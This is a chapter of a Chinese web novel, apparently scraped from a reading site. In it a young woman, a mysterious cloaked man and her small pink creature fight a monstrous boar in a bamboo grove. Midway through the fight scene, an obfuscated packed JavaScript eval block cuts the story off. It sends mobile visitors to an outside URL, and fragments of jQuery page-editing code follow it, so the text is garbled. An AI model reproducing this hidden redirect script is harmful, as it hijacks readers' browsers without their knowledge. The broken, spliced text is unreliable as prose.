默认冷灰
24号文字
方正启体

13. 被唤主人的是

作者:逢凉本书字数:K更新时间:
    尖叫声传来的地方是美食街中心的一处小广场,那里原本有片圆形区域专供游客休息,此刻却密密麻麻挤满了人。无数听到动静想要上前凑热闹的人都在一窝蜂往中间赶,里面的想出去,外面的进不来,一时间有被踩到脚的、汤碗被撞翻的、炸串蹭到别人身上的,怒骂和惊呼声此起彼伏,场面混乱不堪。


    于舒瑾凭着自己一米七的个子,瞄准空隙,艰难地左右躲闪,费了好大力气才好不容易挤到喧闹中心,然而看到小广场上的熟悉人影,却忽然愣住了。


    “徐……徐姐?”


    那披头散发瘫坐在地、一脸崩溃的中年女人,竟然就是不久前和他们分开的人事徐春燕!


    她本来穿了件新买的呢子大衣,此刻衣摆却满是脏污。女人怀里紧紧抱着一个十来岁的小男孩,那孩子双目紧闭,脸色惨白,腕上和脖颈上布满了青青紫紫的淤痕,但更糟糕的是,他胸口不知怎得有一块凹陷了下去,黑黝黝的,像是黑洞般深不见底,伤口周边却没有一滴鲜血流出,简直诡异又骇人。


    “乖仔,我的小凯啊,你到底怎么了,不要吓妈妈啊!”


    她的动作实在用力,于舒瑾忍不住出声阻止:


    “徐姐,你别晃小凯了,牵扯到伤口可怎么办!”


    徐春燕动作一顿,立马紧张地将男孩上下翻看,直到全部检查完才松了口气,但一想到被她这么折腾,他都依旧毫无反应,又开始绝望地哭起来。


    ……?


    于舒瑾见状不由蹙起眉,这时听见人群窃窃私语:


    “说是小孩学校冬令营,本来好好的跟着老师在那边,她怕孩子吃不好,非要带着出来加餐,结果一转头就成了这样……”


    “是不是本来就有什么疾病啊?当妈的也不提前注意一下。”


    “她说是被野猪抓了,可是我们这么多人,什么都没看见啊。”


    “对啊,这人该不会是景区安排的托吧,你看那小孩白白胖胖的,真撞见了野猪咋可能啥事没有。”


    什么意思,伤得那么明显,他们居然看不见吗?


    于舒瑾已经觉得有些匪夷所思了,她又看了眼男孩胸口的黑洞,确定不是自己的幻觉,可一向疼爱孩子的徐姐,手还大咧咧放在伤口上面,甚至之后匆匆赶来的救护人员,也对此视而不见,这到底什么情况?


    “让让、让让,先把孩子送下山!”


    担架同她擦肩而过,男孩的手还垂在外面,于舒瑾忍不住扶了一把,离得近了就发现,那洞比方才更深了,伤口边缘持续收缩着,一张一合仿佛有生命似的,简直让人不寒而栗。


    “……”


    担架被送上接驳车后很快扬长而去,于舒瑾定定地望着车子消失的方向,一种不安感油然而生。


    她忍不住抚上右侧衣兜,低声自语。


    “你说,那真的是我的幻觉吗?可为什么偏偏只有我看见了……”


    “咕……咕噗噜!”


    藕粉团子本来还在衣兜里懒洋洋趴着,听到动静就好奇探出头,但被她指尖摸上头顶的刹那,仿佛触电般,惊慌失措地大叫了一声,圆滚滚的身体猛然鼓起,像是炭火上忽然膨胀的烤棉花糖,把于舒瑾吓了一跳。


    “你、你怎么了,呜哇——!”


    她的手本能缩回,就见藕粉怪开始剧烈颤抖,不断有断断续续的呜咽声传来,隔着薄薄的衣服,于舒瑾能看见里面不断拉伸又回缩,在极短的时间内快速变形了无数个形状,在她还没反应过来的时候,兜里的藕粉怪突然猛地弹射而起,像终于承受不住似的疯狂冲了出去!


    “等,等一下你要去哪儿?!”


    这次可和先前它只是扭捏着要下去不同,现在的藕粉怪完全不听她的呼喊,宛如一枚失控的小炮弹,毫无规律地飞快跳动,撞得泥土砰砰作响,枝条簌簌断裂,动静太大甚至引来了一些路过游客的惊呼,于舒瑾在弥漫的灰尘中艰难捂住口鼻,边咳嗽边努力眯眼,却只能通过地上被重重砸出来的坑印来判断它究竟跑去了哪个方向。


    发生了什么,藕粉怪怎么突然一副受到刺激的样子,是看到小孩受伤的模样了?可它探头那会儿,他们不是已经离开了吗!


    于舒瑾惊疑不定地追了上去。这会儿因为刚才的事情,很多游客都在蜂拥着往山下走,唯独她要逆流而上简直寸步难行,偏偏那家伙没有半点掩饰自己的意思,逮着空隙就明目张胆地往里钻,好在藕粉怪身体很小又速度太快,很多人只来得及看清自己脚边闪过一个模糊的黑影,但这也足够让人恐慌了。


    “啊!有老鼠啊!”


    一时间尖叫声此起彼伏,于舒瑾捂着耳朵趁击猛追,一路循着跑过了广场,爬上了石阶,绕过了鸟瞰台,她眼睁睁看着藕粉怪去的方向越来越偏,和她的距离也越来越远,在又拐过一处狭窄岔道时,她终于没了力气,扶着膝盖大口喘气,胸腔传来阵阵钝痛,耳边的嗡鸣声过了很久才渐渐消失。


    等于舒瑾直起身,突然一道冷风刮过,这风里裹挟着泥土和竹叶的清香,隐约中却又有点说不出来的腥味。


    她的发丝被呼啦吹起,汗津津的脖颈一下子变得冰凉,她情不自禁打了个哆嗦,恍然发现自己俨然远离了人群,此刻面前是一片幽深僻静的竹林。


    层层叠叠的竹竿交叉纵横,像是凭空罩下的密不透风的牢笼,地面积了厚厚一层腐叶,低处的枝桠缠着枯黄的藤曼,踮脚往深处望去,只能瞧见一条望不到尽头的小路,蜿蜒曲折,不断延伸向里,直至一点一点被黑暗吞没。


    “……”


    她没来由生出几分忐忑,咽了咽唾沫,于舒瑾盯着黑黝黝的竹林深处犹豫不决,刚才……藕粉怪真的跑到这里面去了吗?


    脚尖在石子路上磨了又磨,腐叶被踩得簌簌作响,于舒瑾内心挣扎良久,刚要转身,竹林深处突然炸开一声闷响,像是粗壮的竹竿被硬生生撞断,一道咕咕声突兀地夹在其中,极其细微,却还是被她捕捉到了,她几乎是本能地冲了进去。


    尖锐枝桠刮得脸颊生疼也无暇顾及,好不容易穿过层层竹影,眼前的景象却让她猛地顿住。


    “呼……”


    穿着灰色斗篷的男人半跪在地上,正低低喘着气,他左手死死按着右臂,深色布料已经被浸得暗红一片,边缘还在不断往下滴血,而他对面阴影里似乎站着只野猪,浑身鬃毛倒竖,獠牙上翻,前蹄不断刨着地面,攻击蓄势待发。


    “嗬、嗬——吼!”


    伴随一声震耳欲聋的咆哮,野猪朝男人扑了过来,斗篷男循着惯性往侧后方滑步,借着竹子巧妙避开,一时尘土飞扬,没能得逞的野猪更加暴躁,地面被踩得哐哐作响,它晃着脑袋,卯足劲再次发起进攻,男人脚尖微动,刚想侧身闪躲,动作却突然踉跄了一下,估计是牵扯到了伤口,右臂的血流得更多了,偏偏这迟疑的刹那让野猪有了可乘之机,庞大的身躯挡住了去路,逮准了男人心口就直冲冲撞去。


    “小心——”


    于舒瑾忍不住惊叫出声,然而,就在那獠牙快要捅穿男人心脏的瞬间,他指间突然闪过一丝极淡的银紫色微光,快得像错觉,下一秒野猪猛地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291495|198503||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一滞,撞了个空,背上浮现一道深可见骨的血痕,而斗篷男不知何时出现在了竹林后面,她下意识睁大眼睛,刚想看清,那光已经消失得无影无踪。


    不等她细想,糟糕的事情发生了,她的声音吸引了对方的注意,那因吃痛而暴躁非常的野猪开始转移目标,转过身直直朝她扑来,正面对上那猩红的四只眼睛,鲨鱼版的尖锐利齿一闪而过,于舒瑾呼吸骤停。


    ——这根本不是野猪,这是什么东西?!


    感受到扑面而来的腥臭,于舒瑾学着刚才斗篷男的动作,借着竹林的遮挡绕圈躲闪,然而毫无作战经验的她还是被獠牙擦到了肩膀,仅是稍微的擦碰,外套就被瞬间割破,棉絮纷飞,小臂也被树枝划出一道深深的伤口,鲜血立马润湿了翠绿的竹竿。


    看到这一幕,斗篷男脸色骤变,几乎是凭着本能冲了过来,一把将她拽到身后护住。


    望着狂性大发再次袭来的敌人,他咬紧牙,手背青筋绷紧,指尖不住颤抖,掌心有几点微光闪烁却又很快消失,就在这千钧一发之际,两人面前忽然出现一道小小的身影,粉嘟嘟、圆乎乎,头上还戴着一顶柔软可爱的毛绒小帽。


    “藕粉怪!”


    于舒瑾惊喜出声,话音未落,藕粉团子就猛然变大,张开胶状的大嘴一下子将凶残可怖的“野猪”吞了进去,下一秒又恢复如初,“啵唧”一下落在地上,极富弹性地弹了弹,扭扭水波啵的身子,转过身朝于舒瑾邀功般叫道:


    “咕咕!”


    “吃、吃掉了……”


    于舒瑾目瞪口呆,捏着竹竿的手不自觉攥紧又松开,她呆愣愣地看着空无一物的原地半晌,忽然反应过来,快速从男人身后走出,视线落到他扭曲弯折的右臂上。


    那伤口简直惨不忍睹,白森森的骨头露出来,撕烂的棉布和皮肉黏搅在一起,殷红的血不断滴落在地上,几乎要汇成一汪血泊,来不及询问更多,她赶紧把自己的围巾递过去:


    “快,快扎紧止血,我来打120!”


    然而这个神秘的斗篷男却毫无动作,任由围巾被反复递到自己跟前,都只是沉默低头,盯着自己因失血过多而发白的指尖,始终一言不发。


    “喂,愣着干什么!”


    电话拨了几次都没信号,一扭头发现这人还呆站在原地,于舒瑾急了,索性扯住男人衣服就想帮他,没成想刚才还傻傻站着的男人突然反应极大,死死拽着斗篷不让她脱,两人就这样反复拉扯,一时间竟然僵持不下。


    “什么鬼啊,你不想我帮忙,倒是自己包扎啊?”


    就在于舒瑾莫名其妙快忍到极限的时候,只见这人视线往她胳膊一扫,忽然瞳孔骤缩,一把松开了紧拽住斗篷的手,唰得敞开衣领,主动撕下内衬,却完全没有顾及他自己,而是无所谓地用着那右臂骨折的扭曲姿势,在于舒瑾惊悚的目光中,轻轻握住她的胳膊,拎着细长的布条,小心翼翼地开始往上缠。


    啊、是,她的小臂也被竹子刮了来着,但是这点小伤和他比起来……


    看见男人那触目惊心的伤口和满不在乎的神情,一股无名火油然而生,于舒瑾终于忍不住了,狠狠打掉他试图帮她包扎的手,怒气冲冲:


    “喂,在担心别人之前,先看好自己的小命要紧吧!”


    【夏戈沙,在服侍我之前,先照顾好你自己吧。】


    男人一瞬间愣住了,熟悉的声音浮现脑海,眼前少女的脸庞似乎和记忆中的身影逐渐重合,他盯着那双带有愠怒的漂亮眼睛,情不自禁喃喃出声。


    “……主人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)